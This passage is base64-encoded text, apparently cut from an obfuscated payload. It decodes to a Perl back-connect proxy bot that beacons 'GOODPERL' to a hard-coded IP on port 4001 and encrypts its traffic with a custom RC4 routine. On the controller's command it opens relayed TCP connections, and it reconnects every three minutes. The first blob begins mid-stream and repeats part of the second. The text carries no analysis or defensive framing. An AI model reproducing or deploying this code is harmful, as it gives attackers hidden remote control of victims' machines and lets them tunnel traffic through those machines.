nRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKS